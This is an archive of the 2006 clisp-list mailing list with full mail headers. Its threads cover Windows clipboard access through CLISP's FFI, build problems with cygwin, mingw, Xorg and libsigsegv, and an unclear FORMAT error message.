clisp archives I see an email from August 2005 in which Arseny Slobodyuk says he has implemented two functions I really need. He says: "I've implemented following functions on Windows /* (EXT::SETCLIPBOARD str) puts str, which should be a string to Windows clipboard. On NT put it as CF_UNICODETEXT, on Windows 95/98 - as CF_TEXT (translates to ANSI character set using *MISC-ENCODING*). returns: T on success, NIL otherwise.*/ /* (EXT::GETCLIPBOARD)" This is exactly what I need for my current project. He then goes on to say he wants to add these to the distribution. 1. Did this ever happen? If so, how do I call them? 2. If not, is this code available anywhere? 3. If not, is there another way to get clipboard string access under Windows as of CLISP 2.37? Thanks! Tom Summerall From ampy@ich.dvo.ru Wed Mar 29 06:58:30 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FOc7s-0007xJ-K1 for clisp-list@lists.sourceforge.net; Wed, 29 Mar 2006 06:58:24 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FOc7r-0000ma-0k for clisp-list@lists.sourceforge.net; Wed, 29 Mar 2006 06:58:24 -0800 Received: from lenin (host-206-3.hosts.vtc.ru [212.16.206.3]) by vtc.ru (8.13.4/8.13.4) with ESMTP id k2TEw4XK003980; Thu, 30 Mar 2006 01:58:06 +1100 Authentication-Results: vtc.ru from=ampy@ich.dvo.ru; sender-id=neutral; spf=neutral From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <14626679328.20060330015759@ich.dvo.ru> To: Thomas Summerall CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Windows copy/paste status? In-reply-To: <6.2.3.4.2.20060328142412.0759f700@mail.frii.com> References: <6.2.3.4.2.20060328142412.0759f700@mail.frii.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 29 06:59:04 2006 X-Original-Date: Thu, 30 Mar 2006 01:57:59 +1100 Hello Thomas, > In the clisp archives I see an email from August 2005 in which > Arseny Slobodyuk says he has implemented two functions I really > need. He says: > "I've implemented following functions on Windows > /* (EXT::SETCLIPBOARD str) I've never put it to CVS because of lack of time and entusiasm. (Sam asked me to make these functions part of modules and do not put it to the core). -- Best regards, Arseny From tsummerall@medialab.com Wed Mar 29 07:03:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FOcCi-00005T-ID for clisp-list@lists.sourceforge.net; Wed, 29 Mar 2006 07:03:24 -0800 Received: from phobos02.frii.net ([216.17.128.162] helo=mail.frii.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FOcCh-0008OH-8t for clisp-list@lists.sourceforge.net; Wed, 29 Mar 2006 07:03:24 -0800 Received: from Descartes.medialab.com (vtelinet-66-220-244-15.vermontel.net [66.220.244.15]) by mail.frii.com (FRII) with ESMTP id CB6BCA41B2 for ; Wed, 29 Mar 2006 08:03:13 -0700 (MST) Message-Id: <6.2.3.4.2.20060329100124.07020180@mail.frii.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.3.4 To: clisp-list@lists.sourceforge.net From: Thomas Summerall Subject: Re: [clisp-list] Windows copy/paste status? In-Reply-To: <14626679328.20060330015759@ich.dvo.ru> References: <6.2.3.4.2.20060328142412.0759f700@mail.frii.com> <14626679328.20060330015759@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 29 07:04:07 2006 X-Original-Date: Wed, 29 Mar 2006 10:03:08 -0500 I have implemented this via FFI. Here it is for posterity, since I didn't see it anywhere else. Please feel free to critique, but be gentle as I am a beginner at Lisp, Clisp, and FFI! (use-package "FFI") (def-call-out clip-open (:name "OpenClipboard") (:library "user32.dll") (:arguments (hwnd uint)) (:return-type int) (:language :stdc)) (def-call-out clip-close (:name "CloseClipboard") (:library "user32.dll") (:arguments (hwnd uint)) (:return-type int) (:language :stdc)) (def-call-out clip-get (:name "GetClipboardData") (:library "user32.dll") (:arguments (type uint)) (:return-type int) (:language :stdc)) (def-call-out clip-set (:name "SetClipboardData") (:library "user32.dll") (:arguments (data uint) (format uint)) (:return-type int) (:language :stdc)) (def-call-out global-alloc (:name "GlobalAlloc") (:library "kernel32.dll") (:arguments (flags uint) (numbytes uint)) (:return-type int) (:language :stdc)) (def-call-out global-lock (:name "GlobalLock") (:library "kernel32.dll") (:arguments (type uint)) (:return-type uint) (:language :stdc)) (def-call-out global-lock-string (:name "GlobalLock") (:library "kernel32.dll") (:arguments (type uint)) (:return-type ffi:c-string) (:language :stdc)) (def-call-out global-unlock (:name "GlobalUnlock") (:library "kernel32.dll") (:arguments (type uint)) (:return-type int) (:language :stdc)) (def-call-out memcpy (:name "memcpy") (:library "msvcrt.dll") (:arguments (dest uint) (src ffi:c-string) (count uint)) (:return-type int) (:language :stdc)) (defun get-clip-string () (clip-open 0) (let* ((h (clip-get 1)) (s (global-lock-string h))) (global-unlock h) (clip-close 0) s)) (defun set-clip-string (s) (let* ((slen (+ 1 (length s)))(newh (global-alloc 8194 slen)) (newp (global-lock newh))) (memcpy newp s (+ 1 slen)) (global-unlock newh) (clip-open 0) (clip-set 1 newh) (clip-close 0))) From sds@podval.org Wed Mar 29 07:12:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FOcLD-0001FX-Sp for clisp-list@lists.sourceforge.net; Wed, 29 Mar 2006 07:12:11 -0800 Received: from [63.240.77.81] (helo=sccrmhc11.comcast.net) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FOcL9-0002Fq-AX for clisp-list@lists.sourceforge.net; Wed, 29 Mar 2006 07:12:11 -0800 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc11) with ESMTP id <20060329151139011002pjlge>; Wed, 29 Mar 2006 15:11:40 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id C0BF43A2D4E; Wed, 29 Mar 2006 10:11:34 -0500 (EST) To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <14626679328.20060330015759@ich.dvo.ru> (Arseny Slobodyuk's message of "Thu, 30 Mar 2006 01:57:59 +1100") References: <6.2.3.4.2.20060328142412.0759f700@mail.frii.com> <14626679328.20060330015759@ich.dvo.ru> Mail-Followup-To: clisp-list@lists.sourceforge.net, Arseny Slobodyuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: Windows copy/paste status? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 29 07:13:04 2006 X-Original-Date: Wed, 29 Mar 2006 10:11:34 -0500 > * Arseny Slobodyuk [2006-03-30 01:57:59 +1100]: > > Hello Thomas, > >> In the clisp archives I see an email from August 2005 in which >> Arseny Slobodyuk says he has implemented two functions I really >> need. He says: >> "I've implemented following functions on Windows >> /* (EXT::SETCLIPBOARD str) > > I've never put it to CVS because of lack of time and entusiasm. if you put your code here, Thomas might turn it into a patch to the syscalls module. > (Sam asked me to make these functions part of modules and do not put > it to the core). indeed, the proper place for everything that is not needed for bootstrap is in the modules (there are technical difficulties in putting some things into the modules - e.g., socket streams, but these issues are not applicable here). -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 4 (Stentz) http://www.memri.org http://truepeace.org http://pmw.org.il http://ffii.org http://www.jihadwatch.org http://www.mideasttruth.com http://www.dhimmi.com Lisp is a way of life. C is a way of death. From russell_mcmanus@yahoo.com Tue Mar 28 03:57:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FOCpa-0001IS-G6 for clisp-list@lists.sourceforge.net; Tue, 28 Mar 2006 03:57:50 -0800 Received: from dsl254-123-194.nyc1.dsl.speakeasy.net ([216.254.123.194] helo=cl-user.org) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FOCpZ-000055-Em for clisp-list@lists.sourceforge.net; Tue, 28 Mar 2006 03:57:50 -0800 Received: by cl-user.org (Postfix, from userid 1000) id CF766D9; Tue, 28 Mar 2006 06:57:14 -0500 (EST) To: clisp-list@lists.sourceforge.net References: <1143466995.4062.61.camel@betelheise.deep.net> <17448.5261.954593.808883@thalassa.informatimago.com> <1143592445.4062.91.camel@betelheise.deep.net> <17448.46581.241884.495623@thalassa.informatimago.com> From: Russell McManus In-Reply-To: <17448.46581.241884.495623@thalassa.informatimago.com> (Pascal Bourguignon's message of "Tue, 28 Mar 2006 06:05:09 +0200") Message-ID: <878xqulr39.fsf@cl-user.org> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Jumbo Shrimp, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.2 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: common init invocation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 30 02:36:04 2006 X-Original-Date: Tue, 28 Mar 2006 06:57:14 -0500 Pascal Bourguignon writes: > Indeed this is a big deployment problem. > > That's one thing that's sure, after my experience, is that you don't > want a script that works well the day you install it, to suddently > break because some user installed some new version of an ASDF > package. We're speaking here of production scripts, used to maintain > important servers running. The scripts must be stand alone. If they > need some ASDF library, then it should be deployed along the script. > > Even my proposed solution to have a shared init file is good only if > you're prepared to run regression test on all the scripts you've > installed ever everytime you update it or its dependences. > > For scripts with more dependencies, the only valid way to deploy them > in production is to save an image. Another approach that can work is version numbers. If a script is written against version 1.2.3 of a library, and it specifies this somehow at load time, and then someone come along and installs 1.2.4, the script will not fail, because it is still loading 1.2.3. -russ From njsand@internode.on.net Sat Apr 01 18:05:53 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FPryO-00061c-V9 for clisp-list@lists.sourceforge.net; Sat, 01 Apr 2006 18:05:48 -0800 Received: from smtp1.adl2.internode.on.net ([203.16.214.181]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FPryM-0004Gv-CC for clisp-list@lists.sourceforge.net; Sat, 01 Apr 2006 18:05:49 -0800 Received: from [192.168.4.100] (ppp157-114.static.internode.on.net [150.101.157.114]) by smtp1.adl2.internode.on.net (8.13.6/8.13.5) with ESMTP id k3225eKg047283 for ; Sun, 2 Apr 2006 11:35:41 +0930 (CST) (envelope-from njsand@internode.on.net) Message-ID: <442F3295.6070809@internode.on.net> From: Nicholas Sandow User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] building 2.38 on cygwin with mingw Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 1 18:06:16 2006 X-Original-Date: Sun, 02 Apr 2006 12:10:29 +1000 Hello, I am trying to build a native windows version of clisp 2.38 with cygwin. After installing libsigsegv and extracting clisp-2.38.tar.bz2, I run the following: ./configure --with-mingw --with-libsigsegv-prefix=/home/njsand/libsigsegv --build mingw 2>&1 | tee build.log When make enters the i18n directory, I get the following error: configure: * I18N (Done) CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc -mno-cygwin" CPPFLAGS="-I/home/njsand/libsigsegv/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -lncurses -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/home/njsand/libsigsegv/lib -lsigsegv" RANLIB="ranlib" CLISP="$CLISP -q" make[1]: Entering directory `/home/njsand/clisp-2.38/mingw/i18n' /home/njsand/clisp-2.38/mingw/lisp.exe -M /home/njsand/clisp-2.38/mingw/lispinit.mem -B /home/njsand/clisp-2.38/mingw -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -q -c i18n.lisp make[1]: *** [i18n.fas] Error 1 make[1]: Leaving directory `/home/njsand/clisp-2.38/mingw/i18n' make: *** [i18n] Error 2 The problem seems to be a cygwin/windows path format issue. If I run the failed step with windows format paths, (as below), there is no problem. $ /home/njsand/clisp-2.38/mingw/lisp.exe -M c:/cygwin/home/njsand/clisp-2.38/mingw/lispinit.mem -B c:/cygwin/home/njsand/clisp-2.38/mingw -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -q -c i18n.lisp ;; Compiling file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.lisp ... ;; Wrote file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.fas 0 errors, 0 warnings The full log of my build after the ./configure command is at http://users.on.net/~njsand/build.log Am I doing something wrong, or is this a problem with clisp, or even my cygwin? Thanks, Nick From lisp-clisp-list@m.gmane.org Sun Apr 02 01:45:12 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FPz8w-000116-5I for clisp-list@lists.sourceforge.net; Sun, 02 Apr 2006 01:45:10 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FPz8u-0005rC-FS for clisp-list@lists.sourceforge.net; Sun, 02 Apr 2006 01:45:10 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1FPz8o-0001wp-Ba for clisp-list@lists.sourceforge.net; Sun, 02 Apr 2006 11:45:02 +0200 Received: from gpl.gnu-rox.org ([213.41.184.169]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 02 Apr 2006 11:45:02 +0200 Received: from zedek by gpl.gnu-rox.org with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 02 Apr 2006 11:45:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Xavier Maillard Lines: 19 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 213.41.184.169 (Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060330 Firefox/1.5.0.1) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date Subject: [clisp-list] CLISP and Xorg 7.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 2 01:46:01 2006 X-Original-Date: Sat, 1 Apr 2006 21:46:44 +0000 (UTC) Hi, I have tried for hours now to figure out how to compile clisp (2.38) with the new-clx module, but it seems not to want to compile due to some voodoo I do not understand. This happens on gentoo GNU/Linux with GCC 4.1, Xorg 7.0. More informations at http://bugs.gentoo.org/show_bug.cgi?id=128288 Note that without this module, the compilations is going fine. Any idea how to tweak the configure.in system so that it can compile ? (Note that I *do* have X headers and libraries). Thank you. Xavier Maillard From Devon@Jovi.Net Mon Apr 03 11:44:56 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FQU2p-0004MC-Vn for clisp-list@lists.sourceforge.net; Mon, 03 Apr 2006 11:44:55 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FQU2o-0004uV-9O for clisp-list@lists.sourceforge.net; Mon, 03 Apr 2006 11:44:56 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k33ICP79049139 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Apr 2006 14:12:25 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k33ICKJV049133; Mon, 3 Apr 2006 14:12:20 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200604031812.k33ICKJV049133@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-Spam-Status: No, score=-3.4 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Mon, 03 Apr 2006 14:12:32 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ./configure misdirections Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 3 11:45:09 2006 X-Original-Date: Mon, 3 Apr 2006 14:12:20 -0400 (EDT) Error in ./configure "Please do this" directions, best fix would be to disable config cache by default, second best fix would be to amend the "Please do this" directions to have the user disable the config cache. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote $ ./configure ... Configure findings: FFI: yes (user requested: default) readline: no (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: CC='gcc'; export CC mkdir tools; cd tools; prefix=bla bla blapwdbla bla bla/i686-pc-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv $ ./configure --with-libsigsegv-prefix=/afs/site.tld/u/d/devon executing /afs/site.tld/u/d/devon/gnu/clisp-2.38-debian-3.1-lossage/clisp-2.38/src/configure --with-libsigsegv-prefix=/afs/site.tld/u/d/devon --cache\ -file=config.cache configure: loading cache config.cache ... Configure findings: FFI: yes (user requested: default) readline: no (user requested: default) libsigsegv: no, consider installing GNU libsigsegv ./configure: libsigsegv was not detected, thus some features, such as generational garbage collection and stack overflow detection in interpreted Lisp code cannot be provided. Please do this: CC='gcc'; export CC mkdir tools; cd tools; prefix=bla bla blapwdbla bla bla/i686-pc-linux-gnu wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz tar xfz libsigsegv-2.2.tar.gz cd libsigsegv-2.2 ./configure --prefix=${prefix} && make && make check && make install cd ../.. ./configure --with-libsigsegv-prefix=${prefix} --with-libsigsegv-prefix=/afs/site.tld/u/d/devon/ If you insist on building without libsigsegv, please pass --ignore-absence-of-libsigsegv to this script: ./configure --ignore-absence-of-libsigsegv --with-libsigsegv-prefix=/afs/site.tld/u/d/devon/ $ find . -name config.cache -exec mv {} {}.NOT \; $ ./configure --with-libsigsegv-prefix=/afs/site.tld/u/d/devon ... now it works but those final directions above are too comically oxymoronic ... From daly@axiom-developer.org Sat Apr 01 10:11:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FPkZn-0008L2-JW for clisp-list@lists.sourceforge.net; Sat, 01 Apr 2006 10:11:55 -0800 Received: from mx-fall.zoominternet.net ([24.154.1.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FPkZm-0008Qw-3o for clisp-list@lists.sourceforge.net; Sat, 01 Apr 2006 10:11:55 -0800 Received: from mx-7.zoominternet.net ([10.16.16.26]) by mx-fall.zoominternet.net (8.12.11/8.12.11) with ESMTP id k2V0biCu013046 for ; Thu, 30 Mar 2006 19:37:44 -0500 Received: from mua-1.zoominternet.net (mua-1.zoominternet.net [24.154.1.44]) by mx-7.zoominternet.net (8.12.11/8.12.11) with ESMTP id k2V0aBXe025625 for ; Thu, 30 Mar 2006 19:36:11 -0500 Received: from localhost.localdomain (dynamic-acs-72-23-17-240.zoominternet.net [72.23.17.240]) by mua-1.zoominternet.net (Postfix) with ESMTP id 5912C7F415 for ; Thu, 30 Mar 2006 19:36:11 -0500 (EST) Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id k2V1N8D15689; Thu, 30 Mar 2006 20:23:08 -0500 Message-Id: <200603310123.k2V1N8D15689@localhost.localdomain> From: root To: clisp-list@lists.sourceforge.net Reply-To: daly@axiom-developer.org X-Spam-Score: 0.10 () [Tag at 15.00] FORGED_RCVD_HELO X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.26 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] confusing error message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 5 07:14:09 2006 X-Original-Date: Thu, 30 Mar 2006 20:23:08 -0500 This took me a while to figure out.... (format t " ~a ~a,~a~ ~a~%" 1 2 3 4) gives the error: *** - Non-existent format directive Current point in control string: ~a ~a,~a~ ~a~% | I spent a lot of time trying to figure out why it won't recognize ~a Tim Daly From Devon@Jovi.Net Wed Apr 05 08:20:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FR9oF-0003Cw-Jw for clisp-list@lists.sourceforge.net; Wed, 05 Apr 2006 08:20:39 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FR9oA-0000g0-Hf for clisp-list@lists.sourceforge.net; Wed, 05 Apr 2006 08:20:39 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k35FK7jT089448 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Apr 2006 11:20:08 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k35FK7uo089445; Wed, 5 Apr 2006 11:20:07 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200604051520.k35FK7uo089445@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: daly@axiom-developer.org CC: clisp-list@lists.sourceforge.net In-reply-to: <200603310123.k2V1N8D15689@localhost.localdomain> (message from root on Thu, 30 Mar 2006 20:23:08 -0500) Subject: Re: [clisp-list] confusing error message References: <200603310123.k2V1N8D15689@localhost.localdomain> X-Spam-Status: No, score=-3.4 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Wed, 05 Apr 2006 11:20:14 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 5 08:21:18 2006 X-Original-Date: Wed, 5 Apr 2006 11:20:07 -0400 (EDT) By contrast, CMUCL gives an excellent error message: * (format t " ~a ~a,~a~ ~a~%" 1 2 3 4) 1 2,3 Error in format: Unknown format directive. ~a ~a,~a~ ~a~% ^ The arrow points directly at the offending space. Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote From: root Reply-To: daly@axiom-developer.org Subject: [clisp-list] confusing error message Date: Thu, 30 Mar 2006 20:23:08 -0500 This took me a while to figure out.... (format t " ~a ~a,~a~ ~a~%" 1 2 3 4) gives the error: *** - Non-existent format directive Current point in control string: ~a ~a,~a~ ~a~% | I spent a lot of time trying to figure out why it won't recognize ~a Tim Daly ------------------------------------------------------- This SF.Net email is sponsored by xPML, a groundbreaking scripting language that extends applications into web and mobile media. Attend the live webcast and join the prime developer group breaking into this new coding territory! http://sel.as-us.falkag.net/sel?cmd=lnk&kid=110944&bid=241720&dat=121642 _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 05 12:20:14 2006 Received: from 